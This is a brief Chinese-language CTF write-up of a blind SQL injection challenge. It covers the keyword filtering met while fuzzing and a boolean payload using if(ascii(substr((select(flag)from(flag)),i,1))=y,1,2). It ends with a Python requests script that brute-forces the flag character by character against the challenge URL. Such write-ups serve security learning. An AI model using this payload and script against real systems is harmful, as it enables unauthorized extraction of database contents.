sql注入之简单的盲注。
为什么很多题目总是怪怪的???
输入1返回正常,但是1 and 1=1显示异常。fuzz大法启动
这些东西被禁用了。实际上"(and)"也被禁用了,看来fuzz字典还是少了很多。
刚好它告诉你表名与列名都是flag,省去了不少事。然后返回是bool值,所以是盲注
我开始的想法是"ascii(substr((select(flag)from(flag)),1,1))=102" 一直返回失败,不知道为什么
后边改成了如下的payload
if(ascii(substr((select(flag)from(flag)),1,1))=102,1,2)
外边包一层if语句就ok了 。。。浪费了我好久的时间
然后写脚本flag就ok了
import requests
flag=''
url='http://17f2cea2-e442-4c1b-b431-f9766c507108.node5.buuoj.cn:81/index.php'
for i in range(1,50,1):
for y in range(1,128,1):
payload='if(ascii(substr((select(flag)from(flag)),'+str(i)+',1))='+str(y)+',1,2)'
datas={"id":payload}
content=requests.post(url,data=datas)
if "glzjin wants a girlfriend" in content.text:
flag=flag+chr(y)
print(flag)
break
这个脚本运行时间很长,因为我不懂算法。不能跟大佬的脚本比。运行结果如下